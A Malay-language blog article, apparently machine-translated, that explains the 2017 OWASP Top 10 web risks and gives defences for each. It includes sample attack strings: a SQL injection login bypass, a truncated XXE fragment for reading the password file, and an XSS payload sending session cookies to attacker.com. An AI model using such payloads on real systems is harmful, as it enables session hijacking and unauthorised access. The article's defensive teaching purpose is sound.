Serangan Web Serangan 10 Teratas: Langkah Pertama untuk Melindungi Laman Web Anda

Statistik biasa sering dikongsi oleh profesional InfoSec adalah "78% serangan terhadap aplikasi".

Tidak seminggu berlalu tanpa pendengaran tentang pelanggaran atau kelemahan besar-besaran, menjejaskan berjuta-juta pengguna di semua industri. Sama ada angka itu tepat atau jika benar-benar benar-benar hanya 74% (atau mungkin lebih dekat dengan 85%), satu perkara adalah jelas: laman web kami berisiko, dan jika anda belum diserang lagi ia hanya soal masa dan wang (dan motivasi penyerang).

Satu aspek yang menarik bahawa banyak serangan ini mempunyai persamaan mereka tidak begitu teknikal dan boleh dicapai hanya oleh pasukan penggodam lanjutan yang duduk di ruang bawah tanah NSA. Sumber yang paling umum dari serangan ini adalah kelompok yang dikenal sebagai "skrip kiddies", anak-anak muda yang tidak terlatih yang hanya mengunduh toolkit otomatis dari internet dan berusaha untuk memecahkan setiap situs rawak yang menawarkan kerentanan rendah yang mudah dieksploitasi. Malah penjenayah siber yang lebih mahir memulakan percubaan pertama mereka menggunakan toolkit yang sama (atau sedikit lebih maju versi mereka).

Mengapa kita perlu mengambil berat? Kerana ini bermakna bahawa serangan yang paling biasa, dan kelemahan yang paling biasa dieksploitasi, akan sentiasa rantai pertama dan paling lemah dalam pertahanan kami.

Akibatnya, ini juga harus menjadi titik di mana kita menumpukan usaha awal kami untuk memajukan pertahanan itu. Nasib baik, ia juga menjadi tempat yang paling mudah untuk menguji dan memastikan sekurang-kurangnya tahap keselamatan minimum.

Kerentanan umum ini telah dikumpulkan ke dalam senarai "Sepuluh" oleh sukarelawan yang ramah di OWASP - Projek Keselamatan Aplikasi Terbuka Web, sebuah organisasi amal yang bukan untuk keuntungan yang berfokus pada peningkatan keselamatan perisian.

Walaupun Senarai Sepuluh ini tidak benar-benar "senarai semak keselamatan", ia sering merupakan kerangka pertama yang akan dicuba oleh penyerang. Begitu juga, terdapat banyak alat automatik yang akan mengimbas tapak web anda dalam perkhidmatan penyerang, yang membolehkan mereka dengan cepat mengetahui kelemahan kritikal yang akan memberikan mereka akses kepada barang-barang berharga anda.

Berikut adalah Risiko Keselamatan Aplikasi Top 10 OWASP, edisi 2017:

1. Suntikan

Penyerang mungkin dapat memanipulasi aplikasi web anda untuk mengubah arahan yang diserahkan kepada subsistemnya, dengan hanya menghantar permintaan yang cacat dengan muatan yang tercemar. Yang paling terkenal tentang serangan ini ialah SQL Injection, di mana pengguna laman web anda boleh menyebabkan aplikasi anda mengubah ini:

pilih * dari pengguna di mana nama pengguna = 'AviD' dan kata laluan = '1234'
ke dalam ini:
pilih * dari pengguna di mana username = 'Admin'

Ini membolehkan penyerang untuk log masuk ke aplikasi anda sebagai pentadbir, tanpa mengetahui kata laluan. Penggunaan lain dari serangan ini adalah untuk mencuri rahsia (atau wang), menukar data, atau menghapus semua jejak aktiviti.

Bentuk lain termasuk Suntikan LDAP, Suntikan XPath, Suntikan Perintah, Suntikan SMTP - pada bila-bila masa permohonan itu menggabungkan input pengguna yang tidak dipercayai ke dalam arahan yang dihantar kepada jurubahasa. Data tidak normal boleh menipu jurubahasa untuk melaksanakan perintah yang tidak dijangka atau mengakses data tanpa kebenaran yang betul.

Serangan ini biasanya boleh dicegah dengan mudah dengan mengikuti beberapa prinsip:

  • Mengesahkan semua input yang tidak dipercayai dengan pendekatan senarai putih, tanpa mengira sumber.
  • Sentiasa akses pangkalan data dengan pertanyaan parameter dan prosedur tersimpan sahaja, bukannya menggabungkan pertanyaan rentetan.
  • Lebih baik lagi, gunakan perpustakaan ORM (Objektif Pemetaan Objek) yang sesuai (seperti Hibernate, Rangka Kerja Entiti, ActiveRecord untuk menamakan beberapa, bergantung pada platform anda).
  • Hadkan kemungkinan kerosakan eksploit yang berjaya dengan mengurangkan keistimewaan pangkalan data aplikasi.

2. Pengesahan yang Patah

Kebanyakan aplikasi memerlukan pengguna mereka untuk login sebelum menggunakannya, selalunya dengan gabungan nama pengguna / kata laluan. Terdapat banyak jenis kekurangan biasa dengan sistem pengesahan ini, yang boleh dieksploitasi dalam pelbagai cara: serangan kamus, kekerasan otomatik automatik, pemadam tauliah, sesi rampasan, dan banyak lagi.

Seorang penyerang yang berjaya meneka kata laluan yang sah akan dapat meniru pengguna tersebut dan melakukan apa-apa tindakan yang dapat dilakukan oleh mangsa mereka - tanpa dapat membezakan antara penyerang dan mangsa.

Mencegah ini memerlukan pendekatan pelbagai lapisan:

  • Tukar semua kata laluan lalai.
  • Menguatkan kata laluan rawak yang kuat untuk semua pengguna: sekurang-kurangnya 12 aksara rawak, tanpa kekangan, sebaiknya disimpan dalam pengurus kata laluan; atau secara alternatif, frasa laluan dengan sekurang-kurangnya 5 perkataan rawak.
  • Hadkan percubaan log masuk, mengunci akaun pengguna untuk tempoh masa selepas beberapa kata laluan yang salah.
  • Gunakan pengurus sesi platform selamat, yang secara rawak menghasilkan pengenal sesi lama dan melaksanakan kitaran hayat sesi yang selamat.
  • Melindungi kata laluan dengan algoritma "kata laluan hash" kriptografi, seperti Bcrypt, scrypt, atau Argon2.

Juga, pertimbangkan untuk melaksanakan pengesahan pelbagai faktor untuk mengurangkan serangan berasaskan kata laluan, dan jangan biarkan penyerang untuk memintas kata laluan anda dengan mengetahui nama kucing anda di halaman "Lupa Kata Laluan". Terdapat beberapa butiran tambahan yang mungkin relevan, bergantung kepada senibina dan konteks tertentu anda.

3. Pendedahan Data Sensitif

Rahsia data biasanya perlu dilindungi dengan penyulitan dan algoritma kriptografi lain. Walau bagaimanapun, ini terlalu sering dilaksanakan, jika tidak, dalam cara yang tidak lengkap, yang membolehkan penyerang merebut maklumat sensitif yang tidak sepatutnya dapat, termasuk kata laluan, kad kredit, maklumat peribadi (PII), dan data penting lain perniagaan.

Beberapa kekurangan biasa termasuk tidak menyulitkan data; mewujudkan skim penyulitan tersuai bukan algoritma dan protokol standard; menggunakan kekunci lemah; mendedahkan kunci penyulitan; dan tidak melaksanakan protokol dengan betul, mis. tidak mengesahkan sijil TLS.

Menggunakan kawalan kriptografi yang betul (seperti penyulitan AES untuk data yang disimpan dan TLS dengan HSTS yang dibolehkan untuk trafik), dengan parameter yang betul, harus melindungi data sensitif anda baik-baik pada rehat dan dalam transit.

4. Entiti Luar XML (XXE)

Sering kali, aplikasi perlu menerima dan memproses dokumen XML dari pengguna. Parser XML yang lama atau tidak dikonfigurasi boleh mengaktifkan ciri XML yang dikenali sebagai rujukan entiti luaran dalam dokumen XML, yang mana apabila dinilai akan membenamkan kandungan fail lain. Penyerang boleh menyalahgunakannya membaca data sulit, akses sistem dalaman, dan juga menutup aplikasi dalam serangan Denial of Service (DoS).

Sebagai contoh, dokumen XML mengandungi ini:

]>&xxe;

akan memasukkan kandungan fail kata laluan dalam dokumen XML.

Ini boleh dicegah dengan hanya mematikan penilaian DTD dan luar entiti dalam parser, atau menaik taraf ke perpustakaan parser moden yang tidak terdedah.

5. Kawalan Akses Patah

Kebanyakan aplikasi web mengehadkan apa yang dapat dilihat atau dilakukan oleh pengguna, sama ada ia mengakses data peribadi pengguna lain atau kawasan terhad.

Walau bagaimanapun, mekanisme kawalan akses yang menguatkuasakan had ini biasanya dilaksanakan secara melampau dan sering kali cacat. Penyerang boleh memintas kawalan atau menyalahgunakannya untuk mengakses fungsi atau data yang tidak dibenarkan, seperti mengakses akaun pengguna lain, melihat fail sensitif, mengubah suai data pengguna lain, melakukan tindakan pentadbiran dan banyak lagi.

Memperbaiki dan mencegah kelemahan kawalan akses memerlukan pandangan sistemik. Kajian menyeluruh dan lengkap mengenai semua ciri aplikasi, keperluan sistem, peranan pengguna, dan kekangan lain adalah perlu. Terdapat pelbagai model biasa yang boleh digunakan, bergantung kepada keperluan. Yang paling umum termasuk Kawalan Akses Berasaskan Peranan (RBAC), Kawalan Akses Buatan (DAC), dan Kawalan Akses Mandatori (MAC).

Model niche yang lain boleh berdasarkan kepada Atribut (ABAC), Dasar (PBAC), Konteks (CBAC), dan klasifikasi (beberapa model wujud, terutamanya dalam DoD), serta pelbagai skim adat lain. Adalah penting untuk mereka bentuk model kawalan akses dengan baik, supaya ia boleh digunakan secara seragam dan diberikan dengan cekap. Mulai dari prinsip Minimum Privilege, dan hanya memberi kuasa jika perlu.

Di samping itu, banyak sistem perlu mempertimbangkan untuk memohon kawalan akses kepada data peribadi pengguna dari perspektif privasi. Menjadi lebih penting lagi untuk memelihara privasi pengguna dengan secukupnya dan menghalang akses tanpa persetujuan, terutamanya memandangkan kemas kini GDPR EU.

6. Keselamatan Misconfiguration

Pelayan dan aplikasi mempunyai banyak bahagian yang bergerak yang perlu dikonfigurasi dengan betul. Ini terpakai pada semua peringkat timbunan aplikasi, dari sistem operasi dan peranti rangkaian sehingga pelayan web dan aplikasi itu sendiri.

Konfigurasi lalai, tidak lengkap, atau ad hoc boleh meninggalkan fail yang tidak dilindungi, kata laluan lalai didayakan, perkhidmatan awan dibuka, dan bocor maklumat sensitif melalui mesej ralat atau pengepala HTTP, serta banyak tetapan tidak selamat lain yang boleh membenarkan penyerang mendapatkan akses kepada sistem atau data.

Sudah tentu, tidak ada satu tetapan yang akan menghalang kerentanan ini. Semua tetapan berpotensi terdedah perlu dikaji semula. Perhatikan bahawa ini juga termasuk kemas kini dan patch sistem yang tepat pada masanya!

7. Skrip Cross Site (XSS)

Menggunakan XSS, penyerang boleh mengubah suai halaman web yang dilihat oleh pengguna lain dalam aplikasi anda, sama ada untuk mencuri maklumat seperti kata laluan dan kad kredit, menyebarkan data palsu, merampas sesi pengguna, redirect ke tapak lain, atau melaksanakan skrip jahat dalam pelayar mangsa.

Kelemahan ini mungkin berlaku apabila data yang tidak dipercayai dimasukkan ke dalam halaman web atau tindak balas, tanpa pengesahan atau sanitasi yang tepat. Penyerang boleh menyerahkan borang dengan fragmen HTML atau JavaScript, yang akan dibenamkan terus pada halaman dan diberikan oleh penyemak imbas.

Sebagai contoh, kod pelayan ini:

response.write ("Good morning," + request.getParameter ("Name"));

membenamkan parameter Nama pengguna terus ke output. Ini bertujuan untuk mengembalikan halaman berikut, jika nama pengguna adalah "John":

Selamat pagi, John

Sebaliknya, penyerang boleh menyuntik muatan jahat:

Selamat Pagi, Bossdocument.location = 'http: //attacker.com/? Cookie =' + document.cookie

yang akan dilaksanakan oleh pelayar pengguna, menghantar cookie sesi mereka kepada penyerang dan membenarkan penyerang untuk merampas sesi.

Perlindungan utama terhadap serangan XSS ialah penggunaan pengekodan yang betul. Sebagai contoh, pengekodan HTML akan menghidupkan semua aksara "khusus" ke dalam entiti HTML, supaya ia dipaparkan sama kepada pengguna tetapi tidak diiktiraf oleh parser sebagai tag HTML yang sah. Walau bagaimanapun, terdapat pengekodan lain yang sepatutnya digunakan bergantung pada konteks spesifik output data - mis. Pengekodan sifat, pengekodan JavaScript, pengekodan CSS, dan sebagainya. Kebanyakan platform web moden menyediakan fungsi ini secara automatik atau sebagai fungsi panggilan, dan terdapat banyak perpustakaan keselamatan untuk mereka yang tidak.

Selain itu, adalah idea yang baik untuk melaksanakan Dasar Keselamatan Kandungan (CSP), untuk menghalang penyemak imbas daripada membuat serangan XSS yang telah berjaya. Juga, konfigurasikan kuki sesi anda (sama ada dalam kod aplikasi anda atau dalam konfigurasi pelayan web) untuk menyertakan atribut HttpOnly, daripada mencegah eksploitasi XSS yang berjaya daripada merampas sesi pengguna anda.

8. Deserialization tidak selamat

Tambahan terbaru ke senarai ini, Desecialization Insecure boleh membolehkan serangan suntikan dan peningkatan keistimewaan, dan bahkan menyebabkan eksekusi kod jauh dan pengambilalihan pelayan dalam situasi tertentu.

Ramai aplikasi perlu menyusun objek dan data ke dalam format yang boleh dengan mudah ditransmisikan melalui wayar, atau bahkan berterusan ke fail. Apabila suatu aplikasi mengembalikan objek-objek ini ke dalam memori dengan mendesain data yang diformat yang diterima daripada pengguna, mungkin dapat menganggu memori objek, dan bahkan menyebabkannya untuk menjalankan fungsi sewenang-wenangnya.

Cara terbaik untuk mengelakkan Deserialization Insecure adalah untuk tidak pernah menghalang objek daripada data yang tidak dipercayai sama sekali! Lebih baik untuk mengelakkan format deserialisasi asli sama ada mungkin, lebih suka format data seperti XML atau JSON.

Sekiranya perlu untuk deserialisasi dari format asal, dapat melakukannya secara aman memerlukan pemahaman internals bahasa pengaturcaraan anda. Terdapat pelbagai langkah yang diperlukan untuk berbuat demikian dengan selamat, bergantung kepada bahasa yang digunakan oleh aplikasi anda. Sebagai contoh, di Java anda boleh subclass kelas java.io.ObjectInputStream. Di samping itu, adalah disyorkan untuk hanya menghendaki deserialisasi dari data yang permohonan anda ditandatangani secara digital.

9. Menggunakan Komponen dengan Kerentanan Dikenali

Perisian moden tidak dibina sebagai monolit lagi - ia selalu bergantung kepada komponen komponen, kerangka, dan perpustakaan sumber terbuka yang semakin banyak. Apa-apa kelemahan yang diketahui dalam dependensi ini boleh menjejaskan aplikasi anda sendiri secara langsung! Kadang-kadang ini akan membawa kepada kelemahan lain pada senarai ini, seperti suntikan, pelaksanaan kod jauh, atau sebarang kecacatan lain yang membolehkan penyerang mengakses data sensitif atau tindakan.

Baru-baru ini, masalah semacam itu dipersalahkan kerana pelanggaran Equifax yang besar, di mana mereka tidak memasang patch untuk Apache Struts2. Sebaliknya, mereka tetap pada versi yang diketahui membenarkan penyerang jauh untuk melaksanakan perintah sewenang-wenangnya.

Cara terbaik untuk mengelakkan terjebak dalam perangkap ini ialah semak kesemua kebergantungan andas (termasuk kebergantungan transitif), dan semak untuk melihat sama ada mana-mana daripada mereka kini terdedah. Melaksanakan proses untuk memastikan aplikasi anda sentiasa menarik versi stabil terkini dari semua perpustakaan dan komponen bergantung selepas mengujinya. Sebenarnya terdapat banyak alat komersil yang boleh menjejaki ini untuk pasukan anda, serta OWASP's Free Dependency-Check.

10. Pembalakan yang tidak mencukupi & Pemantauan

Walaupun kita cuba untuk membuat sistem kita kebal terhadap semua kemungkinan serangan, secara realistik kita perlu menerima bahawa beberapa serangan akan melalui pertahanan kita. Walau bagaimanapun, pertahanan yang berdaya tahan perlu merangkumi beberapa lapisan. Ini termasuk kemungkinan mengesan serangan-serangan itu yang berjaya walaupun semua usaha kami, sebaik mungkin secepat mungkin.

Ini masih boleh membenarkan organisasi untuk pulih dari serangan itu, atau meminimumkan kerosakan sebanyak mungkin. Satu mekanisme pembalakan dan pengawasan, digabungkan dengan tindak balas insiden yang berkesan, boleh menghalang penyerang daripada berpindah ke sumber dalaman tambahan, membenamkan diri secara kekal dalam organisasi, dan menghalang mereka daripada mencuri atau mengubah lebih banyak data.

Melaksanakan mekanisme pembalakan biasa untuk keseluruhan permohonan. Lebih baik menggunakan perpustakaan yang sedia ada, seperti log4J, tetapi tidak diperlukan. Mekanisme log harus mengumpulkan semua tindakan yang dimulakan oleh pengguna, kesalahan runtime, dan peristiwa sensitif lainnya. Memastikan data log terlindung dengan baik, dan jangan lupa untuk menyediakan pentadbir dengan antara muka carian dan semakan!

Berita baiknya ialah kebanyakan masalah ini adalah masalah yang mudah, dan mudah dicegah jika anda tahu apa yang perlu dicari. Oleh itu, walaupun ini bukan senarai komprehensif bagi semua isu keselamatan yang perlu anda perhatikan, ia adalah pasti salah satu tempat terbaik untuk memulakan ekspedisi anda ke laman web yang dilindungi!

Brayan Jackson
Brayan Jackson Administrator
Sorry! The Author has not filled his profile.
follow me